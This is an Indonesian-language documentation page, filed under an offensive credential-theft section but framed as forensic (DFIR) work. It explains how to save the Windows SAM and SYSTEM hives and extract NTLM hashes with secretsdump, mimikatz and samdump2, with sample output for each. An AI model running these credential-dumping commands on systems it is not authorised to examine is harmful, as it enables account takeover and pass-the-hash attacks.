> For the complete documentation index, see [llms.txt](https://dika-maulidal.gitbook.io/home/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dika-maulidal.gitbook.io/home/offensive/credential-theft/sam.md).

# SAM

## Dump Artefak SAM & SYSTEM

Sebelum melakukan analisis kredensial Windows, diperlukan dua registry hive utama: **SAM** dan **SYSTEM**.

* **SAM (Security Account Manager)** menyimpan database akun user lokal beserta hash password (NTLM)
* Isi SAM berada dalam kondisi terenkripsi
* Kunci dekripsi (**SysKey / BootKey**) tersimpan di dalam hive **SYSTEM**

{% hint style="info" %}
File registry tidak dapat disalin langsung (copy–paste) pada sistem yang sedang berjalan karena dikunci oleh kernel Windows. Akuisisi harus dilakukan menggunakan snapshot registry.
{% endhint %}

#### Akuisisi Hive (Live System)

{% tabs %}
{% tab title="Command" %}
{% code title="Administrator: Command Prompt" %}

```cmd
:: Akuisisi hive SAM
> reg save HKLM\SAM "%USERPROFILE%\Desktop\SAM"

:: Akuisisi hive SYSTEM (wajib untuk dekripsi)
> reg save HKLM\SYSTEM "%USERPROFILE%\Desktop\SYSTEM"
```

{% endcode %}
{% endtab %}

{% tab title="Explanation" %}

* `reg save`\
  Perintah bawaan Windows untuk membuat snapshot registry hive yang sedang aktif.
* `HKLM\SAM`\
  Lokasi registry yang menyimpan database akun user lokal.
* `HKLM\SYSTEM`\
  Registry hive yang berisi SysKey / BootKey untuk membuka enkripsi SAM.
* `%USERPROFILE%\Desktop\`\
  Path dinamis yang mengarah langsung ke Desktop user yang sedang login.
  {% endtab %}
  {% endtabs %}

## Dump Hash Offline (SAM & SYSTEM)

{% hint style="info" %}
Analisis dilakukan secara **offline** pada workstation analis menggunakan file hive hasil akuisisi.
{% endhint %}

{% tabs %}
{% tab title="secretsdump (Impacket)" %}

#### Command

```bash
secretsdump.py -sam ~/Desktop/SAM -system ~/Desktop/SYSTEM LOCAL
```

#### Output

```
[*] Target system bootKey: 0x************************
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:f2f0****************************:::
USER:1001:aad3b435b51404eeaad3b435b51404ee:f4fc****************************:::
```

{% endtab %}

{% tab title="mimikatz" %}
{% hint style="danger" %}
Mimikatz hampir selalu terdeteksi sebagai malware. Gunakan hanya pada **lab forensik / VM analis**, bukan pada sistem korban.
{% endhint %}

#### Command

```cmd
mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::sam /sam:"%USERPROFILE%\Desktop\SAM" /system:"%USERPROFILE%\Desktop\SYSTEM"
```

#### Output

```
RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  NTLM: f2f0****************************

RID  : 000003e9 (1001)
User : USER
  NTLM: f4fc****************************
```

{% endtab %}

{% tab title="samdump2" %}
{% hint style="info" %}
**Catatan samdump2:**\
Pada Windows modern, `samdump2` dapat menghasilkan output yang tidak lengkap atau tidak konsisten. Oleh karena itu, hasil dump dari tool ini perlu divalidasi silang menggunakan tool lain seperti Impacket atau Mimikatz.
{% endhint %}

#### Command

```bash
samdump2 ~/Desktop/SYSTEM ~/Desktop/SAM
```

#### Output

```
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
USER:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

{% endtab %}
{% endtabs %}

{% hint style="warning" %}
NTLM hash bernilai `31d6cfe0d16ae931b73c59d7e0c089c0` menandakan akun dengan **password kosong (empty password)**.
{% endhint %}

> **Catatan DFIR**\
> Artefak hash NTLM dari SAM registry umum digunakan dalam tahap lanjutan investigasi seperti korelasi logon, password cracking terkontrol, atau analisis pass-the-hash sesuai skenario kasus.
